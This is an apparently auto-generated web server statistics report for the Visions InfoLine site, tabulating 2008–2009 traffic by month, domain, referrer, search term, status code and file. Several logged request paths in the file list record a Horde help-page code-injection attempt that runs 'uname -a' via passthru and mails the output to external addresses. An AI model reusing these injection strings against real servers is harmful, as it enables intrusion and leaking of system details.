Web Server Statistics for Visions InfoLineProgram started at Thu-23-Apr-2009 08:30.
Analysed requests from Tue-01-Jan-2008 00:05 to Thu-23-Apr-2009 08:27 (478.35 days).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 23-Apr-2009 08:30.
Successful requests: 76,514 (1,181)
Average successful requests per day: 159 (168)
Successful requests for pages: 31,415 (515)
Average successful requests for pages per day: 65 (73)
Failed requests: 3,213 (50)
Redirected requests: 126 (0)
Distinct files requested: 870 (181)
Distinct hosts served: 2,923 (78)
Corrupt logfile lines: 1,358
Unwanted logfile entries: 7
Data transferred: 7.09 gigabytes (28.46 megabytes)
Average data transferred per day: 15.17 megabytes (4.07 megabytes)
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the activity in each month.
Each unit (
) represents 80 requests for pages or part thereof.
| month | reqs | pages | |
|---|---|---|---|
| Jan 2008 | 5936 | 2529 | ![]() |
| Feb 2008 | 4038 | 1608 | ![]() ![]() ![]() |
| Mar 2008 | 3403 | 1055 | ![]() ![]() ![]() |
| Apr 2008 | 4406 | 1191 | ![]() ![]() ![]() ![]() |
| May 2008 | 4629 | 1274 | ![]() |
| Jun 2008 | 4977 | 830 | ![]() ![]() ![]() |
| Jul 2008 | 3545 | 1191 | ![]() ![]() ![]() ![]() |
| Aug 2008 | 4061 | 1398 | ![]() ![]() |
| Sep 2008 | 4800 | 2468 | ![]() ![]() ![]() ![]() ![]() |
| Oct 2008 | 6626 | 2786 | ![]() ![]() ![]() |
| Nov 2008 | 6055 | 3044 | ![]() ![]() ![]() ![]() |
| Dec 2008 | 5576 | 2761 | ![]() ![]() ![]() |
| Jan 2009 | 5430 | 2515 | ![]() |
| Feb 2009 | 5130 | 2452 | ![]() ![]() ![]() ![]() ![]() |
| Mar 2009 | 4992 | 2897 | ![]() ![]() ![]() |
| Apr 2009 | 2910 | 1416 | ![]() ![]() |
Busiest month: Nov 2008 (3,044 requests for pages).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit (
) represents 150 requests for pages or part thereof.
| day | reqs | pages | |
|---|---|---|---|
| Sun | 9851 | 4434 | ![]() ![]() ![]() ![]() |
| Mon | 12331 | 4537 | ![]() ![]() ![]() ![]() ![]() |
| Tue | 10355 | 4274 | ![]() ![]() ![]() ![]() |
| Wed | 11093 | 4679 | ![]() |
| Thu | 11877 | 4450 | ![]() ![]() ![]() ![]() |
| Fri | 10295 | 4500 | ![]() ![]() ![]() ![]() |
| Sat | 10712 | 4541 | ![]() ![]() ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit (
) represents 40 requests for pages or part thereof.
| hour | reqs | pages | |
|---|---|---|---|
| 0 | 3353 | 1430 | ![]() ![]() |
| 1 | 2919 | 1346 | ![]() ![]() |
| 2 | 2788 | 1370 | ![]() ![]() ![]() |
| 3 | 2223 | 1120 | ![]() ![]() ![]() |
| 4 | 1987 | 1211 | ![]() ![]() ![]() ![]() ![]() |
| 5 | 2331 | 1431 | ![]() ![]() |
| 6 | 3106 | 1529 | ![]() ![]() ![]() ![]() |
| 7 | 2647 | 1246 | ![]() |
| 8 | 2870 | 1289 | ![]() ![]() |
| 9 | 2501 | 1231 | ![]() ![]() ![]() ![]() ![]() |
| 10 | 3500 | 1313 | ![]() ![]() |
| 11 | 3789 | 1224 | ![]() ![]() ![]() ![]() ![]() |
| 12 | 3510 | 1187 | ![]() ![]() ![]() ![]() |
| 13 | 3303 | 1370 | ![]() ![]() ![]() |
| 14 | 3996 | 1471 | ![]() ![]() ![]() |
| 15 | 3477 | 1192 | ![]() ![]() ![]() ![]() |
| 16 | 3210 | 1159 | ![]() ![]() ![]() ![]() |
| 17 | 2921 | 1242 | ![]() |
| 18 | 3511 | 1259 | ![]() |
| 19 | 3071 | 1238 | ![]() ![]() ![]() ![]() ![]() |
| 20 | 3843 | 1369 | ![]() ![]() ![]() |
| 21 | 4553 | 1528 | ![]() ![]() ![]() ![]() |
| 22 | 3856 | 1426 | ![]() ![]() |
| 23 | 3249 | 1234 | ![]() ![]() ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the countries of the computers which requested files.

Listing domains, sorted by the amount of traffic.
| reqs | %bytes | domain |
|---|---|---|
| 20066 | 30.41% | .net (Networks) |
| 2595 | 2.46% | comcast.net |
| 13954 | 27.93% | .com (Commercial) |
| 4009 | 19.28% | cbs.com |
| 32828 | 23.80% | [unresolved numerical addresses] |
| 3681 | 11.85% | .ca (Canada) |
| 933 | 4.18% | [unknown domain] |
| 204 | 0.34% | .br (Brazil) |
| 81 | 0.20% | .uk (United Kingdom) |
| 223 | 0.20% | .cn (China) |
| 1174 | 0.18% | [domain not given] |
| 175 | 0.13% | .us (United States) |
| 23 | 0.13% | .za (South Africa) |
| 66 | 0.08% | .pl (Poland) |
| 1 | 0.06% | .co (Colombia) |
| 71 | 0.06% | .in (India) |
| 1071 | 0.05% | .se (Sweden) |
| 112 | 0.05% | .edu (US Higher Education) |
| 12 | 0.04% | .ie (Ireland) |
| 248 | 0.04% | .de (Germany) |
| 140 | 0.03% | .arpa (Arpanet) |
| 204 | 0.03% | .org (Non Profit Making Organizations) |
| 167 | 0.02% | .sc (Seychelles) |
| 111 | 0.02% | .au (Australia) |
| 103 | 0.02% | .no (Norway) |
| 59 | 0.02% | .do (Dominican Republic) |
| 128 | 0.01% | .it (Italy) |
| 3 | 0.01% | .be (Belgium) |
| 82 | 0.01% | .nl (Netherlands) |
| 77 | 0.01% | .sa (Saudi Arabia) |
| 2 | 0.01% | .sk (Slovakia) |
| 103 | 0.01% | .ru (Russia) |
| 3 | 0.01% | .md (Moldova) |
| 2 | 0.01% | .mil (US Military) |
| 56 | 0.01% | .gov (US Government) |
| 25 | 0.01% | .pk (Pakistan) |
| 2 | 0.01% | .ar (Argentina) |
| 48 | 0.01% | .jp (Japan) |
| 45 | 0.01% | .nu (Niue) |
| 21 | .fr (France) | |
| 28 | .cz (Czech Republic) | |
| 40 | .ro (Romania) | |
| 19 | .mx (Mexico) | |
| 21 | .info (Informational) | |
| 10 | .hu (Hungary) | |
| 8 | .biz (Businesses) | |
| 8 | .tr (Turkey) | |
| 15 | .ec (Ecuador) | |
| 18 | .my (Malaysia) | |
| 11 | .es (Spain) | |
| 3 | .tv (Tuvalu) | |
| 4 | .il (Israel) | |
| 2 | .dk (Denmark) | |
| 5 | .tw (Taiwan) | |
| 1 | .ee (Estonia) | |
| 1 | .th (Thailand) | |
| 1 | .ua (Ukraine) | |
| 3 | .ch (Switzerland) | |
| 1 | .pt (Portugal) | |
| 2 | .la (Laos) | |
| 2 | .ma (Morocco) | |
| 2 | .ye (Yemen) | |
| 1 | .yu (Former Yugoslavia) | |
| 1 | .uy (Uruguay) | |
| 1 | .vn (Vietnam) | |
| 1 | .cl (Chile) | |
| 1 | .sg (Singapore) |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the organisations of the computers which requested files.

Listing the top 20 organisations by the number of requests, sorted by the number of requests.
| reqs | %bytes | organisation |
|---|---|---|
| 7324 | 9.31% | 192.168 |
| 6869 | 1.50% | 61.135 |
| 6564 | 19.05% | yahoo.net |
| 6284 | 1.37% | 220.181 |
| 4009 | 19.28% | cbs.com |
| 3329 | 11.68% | sdsl.bell.ca |
| 2595 | 2.46% | comcast.net |
| 2231 | 0.43% | 119 |
| 1688 | 1.47% | googlebot.com |
| 1659 | 0.21% | msn.com |
| 1633 | 0.20% | 38 |
| 1426 | 2.01% | verizon.net |
| 1353 | 0.35% | 65.55 |
| 1174 | 0.18% | [domain not given] |
| 1171 | 0.09% | kavam.net |
| 1003 | 0.04% | tdcsong.se |
| 979 | 0.07% | searchme.com |
| 950 | 4.18% | [unknown domain] |
| 912 | 0.17% | cpqevo-vi.net |
| 862 | 0.31% | 61.247 |
| 22499 | 25.61% | [not listed: 674 organisations] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists which servers people followed links from.

Listing the top 30 referring sites by the number of requests, sorted by the number of requests.
| reqs | site |
|---|---|
| 20839 | http://www.visionsinfoline.com/ |
| 5820 | http://visionsinfoline.com/ |
| 463 | http://jmorgan.gotdns.com/ |
| 459 | http://visionsinfoline.net/ |
| 375 | http://www.visionsinfoline.net/ |
| 231 | http://202.108.23.172/ |
| 199 | http://search.live.com/ |
| 192 | http://76.98.65.37/ |
| 190 | http://220.181.38.82/ |
| 141 | http://www.whois.sc/ |
| 117 | http://76.98.71.247/ |
| 99 | http://t.webring.com/ |
| 84 | http://192.168.1.2:8080/ |
| 78 | http://images.google.com/ |
| 71 | http://www.munax.com/ |
| 62 | http://www.sitidi.net/ |
| 58 | http://www.google.com/ |
| 53 | http://76.98.65.197/ |
| 43 | http://www.bigfinder.de/ |
| 42 | http://us.mg2.mail.yahoo.com/ |
| 38 | http://whois.domaintools.com/ |
| 37 | http://www.visionsinfoline.com:8080/ |
| 37 | http://search.yahoo.com/ |
| 32 | http://www.netcraft.com/ |
| 31 | http://www.followsite.com/ |
| 29 | http://visionsinfoline.com:8080/ |
| 28 | http://76.98.65.61/ |
| 28 | http://68.82.27.247/ |
| 27 | http://www.keywordspy.com/ |
| 23 | http://www.webring.com/ |
| 356 | [not listed: 101 sites] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists which words people used in search engines to find the site.

Listing the top 30 query words by the number of requests, sorted by the number of requests.
| reqs | search term |
|---|---|
| 45 | chamberlain |
| 32 | william |
| 22 | house |
| 19 | infoline |
| 15 | visions |
| 15 | retired |
| 14 | funny |
| 9 | of |
| 8 | person |
| 7 | in |
| 7 | colonel |
| 7 | battle |
| 6 | col |
| 6 | new |
| 5 | visionsinfoline |
| 5 | jersey |
| 4 | chamberlain's |
| 4 | okoye |
| 4 | adams |
| 4 | the |
| 4 | ejiofor |
| 4 | x10 |
| 3 | rainbow |
| 3 | parking |
| 3 | rd |
| 3 | nyc |
| 3 | nyp |
| 3 | homeseer |
| 3 | hill |
| 3 | www.domainmanger.com |
| 143 | [not listed: 113 search terms] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the operating systems used by visitors.

Listing operating systems, sorted by the number of requests for pages.
| no. | reqs | pages | OS |
|---|---|---|---|
| 1 | 25612 | 19458 | Known robots |
| 2 | 33993 | 5163 | Windows |
| 15254 | 2888 | Windows XP | |
| 2782 | 894 | Windows Server 2003 | |
| 4382 | 746 | Windows 2000 | |
| 10420 | 513 | Unknown Windows | |
| 205 | 70 | Windows NT | |
| 15 | 15 | Windows 95 | |
| 317 | 14 | Windows CE | |
| 572 | 13 | Windows 98 | |
| 46 | 10 | Windows ME | |
| 3 | 11535 | 4598 | OS unknown |
| 4 | 1941 | 396 | Unix |
| 1924 | 395 | Linux | |
| 17 | 1 | BSD | |
| 5 | 1472 | 95 | Macintosh |
| 6 | 146 | 13 | Symbian OS |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the HTTP status codes of all requests.

Listing status codes, sorted numerically.
| reqs | status code |
|---|---|
| 73372 | 200 OK |
| 702 | 206 Partial content |
| 126 | 301 Document moved permanently |
| 2440 | 304 Not modified since last retrieval |
| 25 | 403 Access forbidden |
| 505 | 414 Requested filename too long |
| 2683 | 501 Request type not supported |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the sizes of files.

| size | reqs | %bytes |
|---|---|---|
| 0 | 2440 | |
| 1B- 10B | 92 | |
| 11B- 100B | 1260 | |
| 101B- 1kB | 9311 | 0.08% |
| 1kB- 10kB | 34531 | 1.83% |
| 10kB-100kB | 23601 | 5.10% |
| 100kB- 1MB | 5045 | 21.03% |
| 1MB- 10MB | 124 | 4.27% |
| 10MB-100MB | 110 | 67.69% |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the extensions of files.

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
| reqs | %bytes | extension |
|---|---|---|
| 103 | 64.04% | .wmv [Windows Media Video files] |
| 8461 | 16.94% | .jpg [JPEG graphics] |
| 71 | 5.07% | .pdf [Adobe Portable Document Format] |
| 22196 | 4.36% | [directories] |
| 1958 | 4.18% | .mp3 [MP3 sound files] |
| 58 | 1.20% | .exe [Executables] |
| 7907 | 0.93% | .htm [Hypertext Markup Language] |
| 62 | 0.67% | .wav [WAV sound files] |
| 1312 | 0.62% | .html [Hypertext Markup Language] |
| 979 | 0.52% | .swf [Macromedia Flash files] |
| 9909 | 0.49% | .gif [GIF graphics] |
| 9326 | 0.35% | .js [JavaScript code] |
| 7519 | 0.34% | .txt [Plain text] |
| 6638 | 0.29% | [not listed: 22 extensions] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)

Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
| reqs | %bytes | directory |
|---|---|---|
| 2127 | 68.90% | /media/ |
| 3574 | 14.97% | /chamberlain/ |
| 52553 | 8.04% | [root directory] |
| 2081 | 5.15% | /wcbs/ |
| 3460 | 1.80% | /images/ |
| 9523 | 0.49% | /picts/ |
| 34 | 0.33% | /flash/ |
| 415 | 0.13% | /rainbow/ |
| 409 | 0.06% | /gallery/ |
| 41 | 0.04% | /files/ |
| 727 | 0.04% | /horde/ |
| 309 | 0.02% | /myproxies/ |
| 610 | 0.04% | [not listed: 104 directories] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Referring Site Report | Search Word Report | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the files on the site.

Listing files with at least 20 requests, sorted by the number of requests.
| reqs | %bytes | last time | file |
|---|---|---|---|
| 20771 | 71.74% | 23/Apr/09 07:50 | / |
| 1007 | 2.49% | 21/Apr/09 15:00 | /service.htm |
| 780 | 9.45% | 23/Apr/09 01:15 | /stats.html |
| 648 | 0.77% | 23/Apr/09 08:27 | /contact.htm |
| 595 | 0.80% | 23/Apr/09 08:27 | /faqhome.htm |
| 563 | 0.82% | 21/Apr/09 17:05 | /chamberlain/ |
| 491 | 0.40% | 20/Apr/09 13:49 | /horde/services/help/ |
| 56 | 0.05% | 18/Apr/09 05:34 | /horde/services/help/?show=about&module=;".passthru("uname -a;uname -a");'. |
| 45 | 0.04% | 18/Apr/09 05:34 | /horde/services/help/?show=about&module=;".passthru("uname -a;uname -a | mail the_godofdreams@yahoo.com");'. |
| 38 | 0.03% | 18/Apr/09 05:34 | /horde/services/help/?show=about&module=;".passthru("uname -a;uname -a | mail horddy_bn@yahoo.com");'. |
| 36 | 0.03% | 18/Apr/09 05:34 | /horde/services/help/?show=about&module=;".passthru("uname -a;uname -a");'. |
| 33 | 0.03% | 18/Apr/09 05:34 | /horde/services/help/?show=about&module=;".passthru("uname -a;uname -a | mail horddy_bn@yahoo.com");'. |
| 32 | 0.03% | 18/Apr/09 05:34 | /horde/services/help/?show=about&module=;".passthru("uname -a;uname -a | mail the_godofdreams@yahoo.com");'. |
| 425 | 0.86% | 19/Apr/09 21:20 | /computervirus.htm |
| 407 | 0.90% | 22/Apr/09 21:08 | /wpse.htm |
| 406 | 0.71% | 19/Apr/09 21:20 | /domain.htm |
| 398 | 0.73% | 19/Apr/09 21:20 | /cctransactions.htm |
| 371 | 0.50% | 19/Apr/09 21:20 | /free_web_space.htm |
| 367 | 0.61% | 19/Apr/09 21:20 | /moneyback.htm |
| 350 | 0.53% | 19/Apr/09 21:20 | /buildsite.htm |
| 294 | 0.47% | 19/Apr/09 21:20 | /virusalert.htm |
| 262 | 0.36% | 19/Apr/09 21:19 | /regdomain.htm |
| 232 | 0.85% | 19/Apr/09 21:20 | /x10.htm |
| 198 | 0.62% | 23/Apr/09 00:05 | /stuff.htm |
| 194 | 0.44% | 19/Apr/09 21:20 | /about.htm |
| 191 | 0.24% | 23/Apr/09 00:05 | /clients.htm |
| 189 | 0.71% | 21/Apr/09 16:54 | /links.htm |
| 178 | 0.71% | 20/Apr/09 14:30 | /funny.htm |
| 168 | 0.18% | 19/Apr/09 21:20 | /homecams.htm |
| 159 | 0.28% | 22/Apr/09 21:37 | /gallery.htm |
| 159 | 0.61% | 23/Apr/09 04:21 | /rainbow/ |
| 138 | 0.25% | 19/Apr/09 21:19 | /gallery2.htm |
| 133 | 0.12% | 19/Apr/09 21:20 | /wcbs/ |
| 132 | 0.24% | 19/Apr/09 21:19 | /chamberlain.html |
| 131 | 0.43% | 19/Apr/09 21:20 | /login-dvr.html |
| 130 | 0.28% | 19/Apr/09 21:20 | /webview.html |
| 128 | 0.31% | 19/Apr/09 21:20 | /video.htm |
| 106 | 0.35% | 19/Apr/09 21:20 | /video-saranevins-1.htm |
| 103 | 0.26% | 19/Apr/09 21:20 | /video hsu-1.htm |
| 103 | 0.31% | 19/Apr/09 21:20 | /video dt-1.htm |
| 94 | 0.08% | 19/Apr/09 21:20 | /rainbow/login-dvr.html |
| 75 | 0.07% | 19/Apr/09 21:20 | /wcbs/index.htm |
| 339 | 0.47% | 18/Apr/09 18:19 | [not listed: 96 files] |